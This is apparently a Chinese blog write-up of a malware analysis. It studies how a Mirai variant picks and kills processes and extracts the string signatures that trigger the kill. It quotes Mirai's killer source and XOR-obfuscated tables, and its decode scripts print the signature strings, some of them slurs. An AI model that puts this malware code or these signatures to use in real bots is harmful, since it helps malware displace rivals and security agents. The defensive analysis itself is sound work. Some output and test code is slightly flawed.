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xXxYOLOxXx

Mirai恶意样本KILL进程特征提取

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上班的时候被安排了个分析恶意样本的活
说是这个恶意样本会选择性地KILL进程，把公司开发的HIDS给KILL了
让我分析一下这个恶意样本的KILL机制以及KILL特征
WEB手，但是干的或是恶意样本分析

跑着玩玩

在虚拟机里运行这个恶意样本，给我物理机整没网了
公司网总共1MB/s的带宽下个炉石下半天全给你占了是吧（流汗黄豆）

sysdig看一下这个恶意样本进程的读写操作
一直在读取/proc/self/exe
看着看着就觉得不对劲了，这读的不是sysdig的help信息么
大概理一下思路，这玩意应该是遍历/proc/$pid/exe，然后读取内容
至于KILL特征，没思路

re-searcher

根据前几次恶意样本分析的经验，在google上搜一下这个恶意样本的SHA256就能知道名字
搜一下名字就能找到相关报告
上传到一个在线杀箱看恶意样本的活动
结合别人的分析报告就差不多了

然后就找到了这篇文章
Mirai 源码分析
这篇文章提到了部分特征，但是样本应该跟我手头上的不一样，所以还是得自己分析
Mirai源码

source code

先看kill.c

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if (memory_scan_match(exe_path))
{
#ifdef DEBUG
	printf("[killer] Memory scan match for binary %s\n", exe_path);
#endif
	kill(pid, 9);
}

差不多就是这段代码了
至于exe_path，有这么一段注释

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// Store /proc/$pid/exe into exe_path

然后就看看下面两个函数

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static BOOL memory_scan_match(char *path)
{
    int fd, ret;
    char rdbuf[4096];
    char *m_qbot_report, *m_qbot_http, *m_qbot_dup, *m_upx_str, *m_zollard;
    int m_qbot_len, m_qbot2_len, m_qbot3_len, m_upx_len, m_zollard_len;
    BOOL found = FALSE;

    if ((fd = open(path, O_RDONLY)) == -1)
        return FALSE;

    table_unlock_val(TABLE_MEM_QBOT);
    table_unlock_val(TABLE_MEM_QBOT2);
    table_unlock_val(TABLE_MEM_QBOT3);
    table_unlock_val(TABLE_MEM_UPX);
    table_unlock_val(TABLE_MEM_ZOLLARD);

    m_qbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_qbot_len);
    m_qbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_qbot2_len);
    m_qbot_dup = table_retrieve_val(TABLE_MEM_QBOT3, &m_qbot3_len);
    m_upx_str = table_retrieve_val(TABLE_MEM_UPX, &m_upx_len);
    m_zollard = table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len);

    while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
    {
        if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
            mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
            mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
            mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
            mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
        {
            found = TRUE;
            break;
        }
    }

    table_lock_val(TABLE_MEM_QBOT);
    table_lock_val(TABLE_MEM_QBOT2);
    table_lock_val(TABLE_MEM_QBOT3);
    table_lock_val(TABLE_MEM_UPX);
    table_lock_val(TABLE_MEM_ZOLLARD);

    close(fd);

    return found;
}

static BOOL mem_exists(char *buf, int buf_len, char *str, int str_len)
{
    int matches = 0;

    if (str_len > buf_len)
        return FALSE;

    while (buf_len--)
    {
        if (*buf++ == str[matches])
        {
            if (++matches == str_len)
                return TRUE;
        }
        else
            matches = 0;
    }

    return FALSE;
}

函数memory_scan_match用于在/proc/$pid/exe中查找特征
函数mem_exists是查找功能的具体实现

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m_qbot_report
m_qbot_http
m_qbot_dup
m_upx_str
m_zollard

这五个变量就是特征

这五个变量又来自于

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TABLE_MEM_QBOT
TABLE_MEM_QBOT2
TABLE_MEM_QBOT3
TABLE_MEM_UPX
TABLE_MEM_ZOLLARD

然后这五个变量又来自于table.c

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add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13);
add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10);
add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10);
add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 33);
add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8);

看样子是加密的
但是下面看到了一个很简单的加解密函数
大概意思是m ^ 0x22 = c
解密脚本以及输出如下

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cipher = [
"\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 
"\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 
"\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 
"\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 
"\x58\x4D\x4E\x4E\x43\x50\x46\x22"]

for _ in cipher:
	str_tmp = ""
	for __ in _:
		char = chr(ord(__) ^ 0x22)
		if char == "\0":
			char = "\\x00"
		str_tmp = str_tmp + char
	print(str_tmp)

"""
REPORT %s:%s\x00
HTTPFLOOD\x00
LOLNOGTFO\x00
\x58\x4D\x4E\x4E\x43\x50\x46\x22\x00
zollard\x00
"""

所以这个就和之前的分析报告对得上了，那本地的样本特征又该咋整呢？

ida

strings窗口找字符串
找到一些看起来是加密的数据
程序初始内存为0x08048000，数据存储开始于0x08058C60，偏移量为0x010c60，数据存储结束于0x08059637，数据长度为0x09d8
取出数据异或0x22得到明文
那么问题来了，这玩意该怎么和表中的每一项数据对应起来

函数sub_8054D10调用了这部分数据
取数据的下标和长度，对解密的字符串进行拆分即可
脚本如下

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raw = """
sub_8055CA0(v0, asc_8058C60, 2);
dword_805A1C0 = (int)v0;
word_805A1C4 = 2;
v1 = sub_8056AC4(0xCu);
sub_8055CA0(v1, &asc_8058C60[3], 12);
dword_805A1B8 = (int)v1;
word_805A1BC = 12;
v2 = sub_8056AC4(2u);
sub_8055CA0(v2, &asc_8058C60[16], 2);
dword_805A300 = (int)v2;
word_805A304 = 2;
v3 = sub_8056AC4(0x1Du);
sub_8055CA0(v3, &asc_8058C60[19], 29);
dword_805A1B0 = (int)v3;
word_805A1B4 = 29;
v4 = sub_8056AC4(7u);
sub_8055CA0(v4, &asc_8058C60[35], 7);
dword_805A1D0 = (int)v4;
word_805A1D4 = 7;
v5 = sub_8056AC4(5u);
sub_8055CA0(v5, &asc_8058C60[43], 5);
dword_805A1D8 = (int)v5;
word_805A1DC = 5;
v6 = sub_8056AC4(0xBu);
sub_8055CA0(v6, &asc_8058C60[49], 11);
dword_805A1E0 = (int)v6;
word_805A1E4 = 11;
v7 = sub_8056AC4(4u);
sub_8055CA0(v7, &asc_8058C60[61], 4);
dword_805A1E8 = (int)v7;
word_805A1EC = 4;
v8 = sub_8056AC4(7u);
sub_8055CA0(v8, &asc_8058C60[66], 7);
dword_805A1F0 = (int)v8;
word_805A1F4 = 7;
v9 = sub_8056AC4(8u);
sub_8055CA0(v9, &asc_8058C60[74], 8);
dword_805A1F8 = (int)v9;
word_805A1FC = 8;
v10 = sub_8056AC4(0xAu);
sub_8055CA0(v10, &asc_8058C60[83], 10);
dword_805A200 = (int)v10;
word_805A204 = 10;
v11 = sub_8056AC4(0xBu);
sub_8055CA0(v11, &asc_8058C60[94], 11);
dword_805A208 = (int)v11;
word_805A20C = 11;
v12 = sub_8056AC4(0xFu);
sub_8055CA0(v12, &asc_8058C60[106], 15);
dword_805A210 = (int)v12;
word_805A214 = 15;
v13 = sub_8056AC4(0x10u);
sub_8055CA0(v13, &asc_8058C60[122], 16);
dword_805A218 = (int)v13;
word_805A21C = 16;
v14 = sub_8056AC4(0xEu);
sub_8055CA0(v14, &asc_8058C60[139], 14);
dword_805A220 = (int)v14;
word_805A224 = 14;
v15 = sub_8056AC4(0xBu);
sub_8055CA0(v15, &asc_8058C60[154], 11);
dword_805A228 = (int)v15;
word_805A22C = 11;
v16 = sub_8056AC4(5u);
sub_8055CA0(v16, &asc_8058C60[166], 5);
dword_805A230 = (int)v16;
word_805A234 = 5;
v17 = sub_8056AC4(5u);
sub_8055CA0(v17, &asc_8058C60[172], 5);
dword_805A238 = (int)v17;
word_805A23C = 5;
v18 = sub_8056AC4(0x10u);
sub_8055CA0(v18, &asc_8058C60[178], 16);
dword_805A250 = (int)v18;
word_805A254 = 16;
v19 = sub_8056AC4(0xEu);
sub_8055CA0(v19, &asc_8058C60[195], 14);
dword_805A258 = (int)v19;
word_805A25C = 14;
v20 = sub_8056AC4(9u);
sub_8055CA0(v20, &asc_8058C60[210], 9);
dword_805A260 = (int)v20;
word_805A264 = 9;
v21 = sub_8056AC4(0x13u);
sub_8055CA0(v21, &asc_8058C60[220], 19);
dword_805A268 = (int)v21;
word_805A26C = 19;
v22 = sub_8056AC4(0x17u);
sub_8055CA0(v22, &asc_8058C60[240], 23);
dword_805A270 = (int)v22;
word_805A274 = 23;
v23 = sub_8056AC4(0xEu);
sub_8055CA0(v23, &asc_8058C60[264], 14);
dword_805A278 = (int)v23;
word_805A27C = 14;
v24 = sub_8056AC4(0x13u);
sub_8055CA0(v24, &asc_8058C60[279], 19);
dword_805A280 = (int)v24;
word_805A284 = 19;
v25 = sub_8056AC4(0x17u);
sub_8055CA0(v25, &asc_8058C60[299], 23);
dword_805A288 = (int)v25;
word_805A28C = 23;
v26 = sub_8056AC4(0xFu);
sub_8055CA0(v26, &asc_8058C60[323], 15);
dword_805A290 = (int)v26;
word_805A294 = 15;
v27 = sub_8056AC4(8u);
sub_8055CA0(v27, &asc_8058C60[339], 8);
dword_805A298 = (int)v27;
word_805A29C = 8;
v28 = sub_8056AC4(0xBu);
sub_8055CA0(v28, &asc_8058C60[348], 11);
dword_805A2A0 = (int)v28;
word_805A2A4 = 11;
v29 = sub_8056AC4(9u);
sub_8055CA0(v29, &asc_8058C60[360], 9);
dword_805A2A8 = (int)v29;
word_805A2AC = 9;
v30 = sub_8056AC4(6u);
sub_8055CA0(v30, &asc_8058C60[370], 6);
dword_805A2B0 = (int)v30;
word_805A2B4 = 6;
v31 = sub_8056AC4(5u);
sub_8055CA0(v31, &asc_8058C60[377], 5);
dword_805A2B8 = (int)v31;
word_805A2BC = 5;
v32 = sub_8056AC4(0xAu);
sub_8055CA0(v32, &asc_8058C60[383], 10);
dword_805A2C8 = (int)v32;
word_805A2CC = 10;
v33 = sub_8056AC4(0xFu);
sub_8055CA0(v33, &asc_8058C60[394], 15);
dword_805A2D0 = (int)v33;
word_805A2D4 = 15;
v34 = sub_8056AC4(0xAu);
sub_8055CA0(v34, &asc_8058C60[411], 10);
dword_805A2D8 = (int)v34;
word_805A2DC = 10;
v35 = sub_8056AC4(5u);
sub_8055CA0(v35, &asc_8058C60[422], 5);
dword_805A2E0 = (int)v35;
word_805A2E4 = 5;
v36 = sub_8056AC4(5u);
sub_8055CA0(v36, &asc_8058C60[428], 5);
dword_805A2E8 = (int)v36;
word_805A2EC = 5;
v37 = sub_8056AC4(5u);
sub_8055CA0(v37, &asc_8058C60[434], 5);
dword_805A2F0 = (int)v37;
word_805A2F4 = 5;
v38 = sub_8056AC4(6u);
sub_8055CA0(v38, &asc_8058C60[440], 6);
dword_805A308 = (int)v38;
word_805A30C = 6;
v39 = sub_8056AC4(7u);
sub_8055CA0(v39, &asc_8058C60[447], 7);
dword_805A310 = (int)v39;
word_805A314 = 7;
v40 = sub_8056AC4(7u);
sub_8055CA0(v40, &asc_8058C60[455], 7);
dword_805A318 = (int)v40;
word_805A31C = 7;
v41 = sub_8056AC4(3u);
sub_8055CA0(v41, &asc_8058C60[463], 3);
dword_805A320 = (int)v41;
word_805A324 = 3;
v42 = sub_8056AC4(0x12u);
sub_8055CA0(v42, &asc_8058C60[467], 18);
dword_805A328 = (int)v42;
word_805A32C = 18;
v43 = sub_8056AC4(0x17u);
sub_8055CA0(v43, &asc_8058C60[486], 23);
dword_805A330 = (int)v43;
word_805A334 = 23;
v44 = sub_8056AC4(9u);
sub_8055CA0(v44, &asc_8058C60[510], 9);
dword_805A338 = (int)v44;
word_805A33C = 9;
v45 = sub_8056AC4(0x10u);
sub_8055CA0(v45, &asc_8058C60[520], 16);
"""

import re
list1 = re.findall("asc_8058C60\[([\d]+)\]", raw)
list2 = re.findall(", (\d+)\);\n", raw)
list_tmp = ["0"]
for _ in list1:
	list_tmp.append(_)
list1 = list_tmp

cipher1 = [
0x07, 0x00, 0x00, 0x55, 0x4A, 0x4B, 0x56, 0x47, 0x4A, 0x43, 
0x56, 0x0C, 0x41, 0x44, 0x22, 0x00, 0x07, 0xB7, 0x00, 0x4E, 
0x58, 0x50, 0x46, 0x02, 0x41, 0x4D, 0x41, 0x49, 0x02, 0x44, 
0x47, 0x51, 0x56, 0x22, 0x00, 0x0D, 0x52, 0x50, 0x4D, 0x41, 
0x0D, 0x22, 0x00, 0x0D, 0x47, 0x5A, 0x47, 0x22, 0x00, 0x02, 
0x0A, 0x46, 0x47, 0x4E, 0x47, 0x56, 0x47, 0x46, 0x0B, 0x22, 
0x00, 0x0D, 0x44, 0x46, 0x22, 0x00, 0x0C, 0x43, 0x4C, 0x4B, 
0x4F, 0x47, 0x22, 0x00, 0x0D, 0x51, 0x56, 0x43, 0x56, 0x57, 
0x51, 0x22, 0x00, 0x46, 0x54, 0x50, 0x6A, 0x47, 0x4E, 0x52, 
0x47, 0x50, 0x22, 0x00, 0x6C, 0x4B, 0x65, 0x65, 0x47, 0x70, 
0x14, 0x1B, 0x5A, 0x46, 0x22, 0x00, 0x13, 0x11, 0x11, 0x15, 
0x71, 0x4D, 0x50, 0x43, 0x6E, 0x6D, 0x63, 0x66, 0x67, 0x70, 
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0x67, 0x02, 0x1B, 0x0C, 0x12, 0x19, 0x02, 0x75, 0x4B, 0x4C, 
0x46, 0x4D, 0x55, 0x51, 0x02, 0x6C, 0x76, 0x02, 0x14, 0x0C, 
0x13, 0x19, 0x02, 0x76, 0x50, 0x4B, 0x46, 0x47, 0x4C, 0x56, 
0x0D, 0x16, 0x0C, 0x12, 0x19, 0x02, 0x65, 0x76, 0x60, 0x15, 
0x0C, 0x16, 0x19, 0x02, 0x6B, 0x4C, 0x44, 0x4D, 0x72, 0x43, 
0x56, 0x4A, 0x0C, 0x10, 0x19, 0x02, 0x71, 0x74, 0x13, 0x19, 
0x02, 0x0C, 0x6C, 0x67, 0x76, 0x02, 0x61, 0x6E, 0x70, 0x02, 
0x16, 0x0C, 0x16, 0x0C, 0x17, 0x1A, 0x15, 0x1B, 0x1B, 0x19, 
0x02, 0x75, 0x6D, 0x75, 0x14, 0x16, 0x19, 0x02, 0x47, 0x4C, 
0x0F, 0x77, 0x71, 0x0B, 0x22, 0x00, 0x6F, 0x4D, 0x58, 0x4B, 
0x4E, 0x4E, 0x43, 0x0D, 0x16, 0x0C, 0x12, 0x02, 0x0A, 0x41, 
0x4D, 0x4F, 0x52, 0x43, 0x56, 0x4B, 0x40, 0x4E, 0x47, 0x19, 
0x02, 0x6F, 0x71, 0x6B, 0x67, 0x02, 0x1B, 0x0C, 0x12, 0x19, 
0x02, 0x75, 0x4B, 0x4C, 0x46, 0x4D, 0x55, 0x51, 0x02, 0x6C, 
0x76, 0x02, 0x14, 0x0C, 0x13, 0x19, 0x02, 0x76, 0x50, 0x4B, 
0x46, 0x47, 0x4C, 0x56, 0x0D, 0x17, 0x0C, 0x12, 0x19, 0x02, 
0x64, 0x57, 0x4C, 0x75, 0x47, 0x40, 0x72, 0x50, 0x4D, 0x46, 
0x57, 0x41, 0x56, 0x51, 0x0B, 0x22, 0x00, 0x00, 0x00, 0x00, 
0x6F, 0x4D, 0x58, 0x4B, 0x4E, 0x4E, 0x43, 0x0D, 0x17, 0x0C, 
0x12, 0x02, 0x0A, 0x6F, 0x43, 0x41, 0x4B, 0x4C, 0x56, 0x4D, 
0x51, 0x4A, 0x19, 0x02, 0x6B, 0x4C, 0x56, 0x47, 0x4E, 0x02, 
0x6F, 0x43, 0x41, 0x02, 0x6D, 0x71, 0x02, 0x7A, 0x02, 0x13, 
0x12, 0x0C, 0x14, 0x19, 0x02, 0x50, 0x54, 0x18, 0x10, 0x17, 
0x0C, 0x12, 0x0B, 0x02, 0x65, 0x47, 0x41, 0x49, 0x4D, 0x0D, 
0x10, 0x12, 0x13, 0x12, 0x12, 0x13, 0x12, 0x13, 0x02, 0x64, 
0x4B, 0x50, 0x47, 0x44, 0x4D, 0x5A, 0x0D, 0x10, 0x17, 0x0C, 
0x12, 0x22, 0x00, 0x00, 0x6F, 0x4D, 0x58, 0x4B, 0x4E, 0x4E, 
0x43, 0x0D, 0x17, 0x0C, 0x12, 0x02, 0x0A, 0x6F, 0x43, 0x41, 
0x4B, 0x4C, 0x56, 0x4D, 0x51, 0x4A, 0x19, 0x02, 0x6B, 0x4C, 
0x56, 0x47, 0x4E, 0x02, 0x6F, 0x43, 0x41, 0x02, 0x6D, 0x71, 
0x02, 0x7A, 0x02, 0x13, 0x12, 0x0C, 0x1A, 0x19, 0x02, 0x50, 
0x54, 0x18, 0x10, 0x13, 0x0C, 0x12, 0x0B, 0x02, 0x65, 0x47, 
0x41, 0x49, 0x4D, 0x0D, 0x10, 0x12, 0x13, 0x12, 0x12, 0x13, 
0x12, 0x13, 0x02, 0x64, 0x4B, 0x50, 0x47, 0x44, 0x4D, 0x5A, 
0x0D, 0x10, 0x13, 0x0C, 0x12, 0x22, 0x00, 0x00, 0x6F, 0x4D, 
0x58, 0x4B, 0x4E, 0x4E, 0x43, 0x0D, 0x17, 0x0C, 0x12, 0x02, 
0x0A, 0x6F, 0x43, 0x41, 0x4B, 0x4C, 0x56, 0x4D, 0x51, 0x4A, 
0x19, 0x02, 0x6B, 0x4C, 0x56, 0x47, 0x4E, 0x02, 0x6F, 0x43, 
0x41, 0x02, 0x6D, 0x71, 0x02, 0x7A, 0x02, 0x13, 0x12, 0x0C, 
0x1A, 0x19, 0x02, 0x50, 0x54, 0x18, 0x10, 0x16, 0x0C, 0x12, 
0x0B, 0x02, 0x65, 0x47, 0x41, 0x49, 0x4D, 0x0D, 0x10, 0x12, 
0x13, 0x12, 0x12, 0x13, 0x12, 0x13, 0x02, 0x64, 0x4B, 0x50, 
0x47, 0x44, 0x4D, 0x5A, 0x0D, 0x10, 0x16, 0x0C, 0x12, 0x22, 
0x00, 0x00, 0x6F, 0x4D, 0x58, 0x4B, 0x4E, 0x4E, 0x43, 0x0D, 
0x17, 0x0C, 0x12, 0x02, 0x0A, 0x6F, 0x43, 0x41, 0x4B, 0x4C, 
0x56, 0x4D, 0x51, 0x4A, 0x19, 0x02, 0x6B, 0x4C, 0x56, 0x47, 
0x4E, 0x02, 0x6F, 0x43, 0x41, 0x02, 0x6D, 0x71, 0x02, 0x7A, 
0x02, 0x13, 0x12, 0x7D, 0x13, 0x12, 0x19, 0x02, 0x50, 0x54, 
0x18, 0x11, 0x11, 0x0C, 0x12, 0x0B, 0x02, 0x65, 0x47, 0x41, 
0x49, 0x4D, 0x0D, 0x10, 0x12, 0x13, 0x12, 0x12, 0x13, 0x12, 
0x13, 0x02, 0x64, 0x4B, 0x50, 0x47, 0x44, 0x4D, 0x5A, 0x0D, 
0x11, 0x11, 0x0C, 0x12, 0x22, 0x00, 0x6F, 0x4D, 0x58, 0x4B, 
0x4E, 0x4E, 0x43, 0x0D, 0x17, 0x0C, 0x12, 0x02, 0x0A, 0x75, 
0x4B, 0x4C, 0x46, 0x4D, 0x55, 0x51, 0x02, 0x6C, 0x76, 0x02, 
0x13, 0x12, 0x0C, 0x12, 0x19, 0x02, 0x75, 0x4B, 0x4C, 0x14, 
0x16, 0x19, 0x02, 0x5A, 0x14, 0x16, 0x0B, 0x02, 0x63, 0x52, 
0x52, 0x4E, 0x47, 0x75, 0x47, 0x40, 0x69, 0x4B, 0x56, 0x0D, 
0x17, 0x11, 0x15, 0x0C, 0x11, 0x14, 0x02, 0x0A, 0x69, 0x6A, 
0x76, 0x6F, 0x6E, 0x0E, 0x02, 0x4E, 0x4B, 0x49, 0x47, 0x02, 
0x65, 0x47, 0x41, 0x49, 0x4D, 0x0B, 0x02, 0x61, 0x4A, 0x50, 
0x4D, 0x4F, 0x47, 0x0D, 0x14, 0x10, 0x0C, 0x12, 0x0C, 0x11, 
0x10, 0x12, 0x10, 0x0C, 0x1B, 0x16, 0x22, 0x00, 0x00, 0x00]

#lsit1 = ['0', '3', '16', '19', '35', '43', '49', '61', '66', '74', '83', '94', '106', '122', '139', '154', '166', '172', '178', '195', '210', '220', '240', '264', '279', '299', '323', '339', '348', '360', '370', '377', '383', '394', '411', '422', '428', '434', '440', '447', '455', '463', '467', '486', '510', '520']
#list2 = ['2', '12', '2', '29', '7', '5', '11', '4', '7', '8', '10', '11', '15', '16', '14', '11', '5', '5', '16', '14', '9', '19', '23', '14', '19', '23', '15', '8', '11', '9', '6', '5', '10', '15', '10', '5', '5', '5', '6', '7', '7', '3', '18', '23', '9', '16']

def func1():
	msg_str = ""
	for _ in cipher1:
		char = chr(_ ^ 34)
		if char == "\0":
			msg_str = msg_str + "0"
		else:
			msg_str = msg_str + char
	length = len(list1)
	for _ in range(length):
		print(msg_str[int(list1[_]):int(list1[_])+int(list2[_])])

if __name__ == "__main__":
	func1()

这样就得到了表格每项的数据，再把源码的表格解密一下，两边的数据顺序大致上是对得上的
多余的部分基本上就是字符串KILL特征了，特征如下

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dvrHelper\x00
NiGGeR69xd\x00
1337SoraLOADER\x00
NiGGeRd0nks1337\x00
X19I239124UIU\x00
IuYgujeIqn\x00
14Fa\x00
ccAD\x00
/proc/net/route\x00
/proc/cpuinfo\x00
BOGOMIPS\x00
/etc/rc.d/rc.local\x00
g1abc4dmo35hnp2lie0kjf\x00
/dev/watchdog\x00
/dev/misc/watchdog\x00
/dev/FTWDT101_watchdog\x00
/dev/netslink/\x00
PRIVMSG\x00
GETLOCALIP\x00
KILLATTK\x00
Eats8\x00
v[0v\x00
93OfjHZ2z\x00
GhostWuzHere666
WsGA4@F6F\x00
ACDB\x00
AbAd\x00
iaGv\x00

BTW：若出现\x00则为必要的，C语言程序中输出"KEY{dvrHelper}"不会触发KILL机制，输出"dvrHelper"则会

但是还是要验证一下

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#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void main()
{
	FILE *fp;
	char *res;
	system("xxd ./kill_me | grep dvr -A 1");
	printf("\n");
	printf("Kill_me_KEY is :dvrHelper");
	while(1)
	{
		printf("\n");
		printf("I'm alive at ");
		fp = popen("date", "r");
		while(fgets(res, sizeof(res), fp) != NULL)
		{
			printf("%s", res);
		}
		pclose(fp);
		sleep(10);
	}
}

照这样每个字符串都过一遍
可以确定上文部分的特征都为字符串KILL特征

KEY_in_HIDS

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import binascii
import re
key = [
"dvrHelper", 
"NiGGeR69xd", 
"1337SoraLOADER", 
"NiGGeRd0nks1337", 
"X19I239124UIU", 
"IuYgujeIqn", 
"14Fa", 
"ccAD", 
"/proc/net/route", 
"/proc/cpuinfo", 
"BOGOMIPS", 
"/etc/rc.d/rc.local", 
"g1abc4dmo35hnp2lie0kjf", 
"/dev/watchdog", 
"/dev/misc/watchdog", 
"/dev/FTWDT101_watchdog", 
"/dev/netslink/", 
"PRIVMSG", 
"GETLOCALIP", 
"KILLATTK", 
"Eats8", 
"v[0v", 
"93OfjHZ2z", 
"GhostWuzHere666", 
"WsGA4@F6F", 
"ACDB", 
"AbAd", 
"iaGv"]
f = open("/usr/local/[DATA_EXPUNGED]", "rb")
data = f.read()
f.close()
data = binascii.hexlify(data).decode()
for _ in key:
	hex_key = binascii.hexlify(_.encode()).decode()
	find_list = re.findall(hex_key, data)
	if find_list != []:
		print(_)

写份报告就能交差了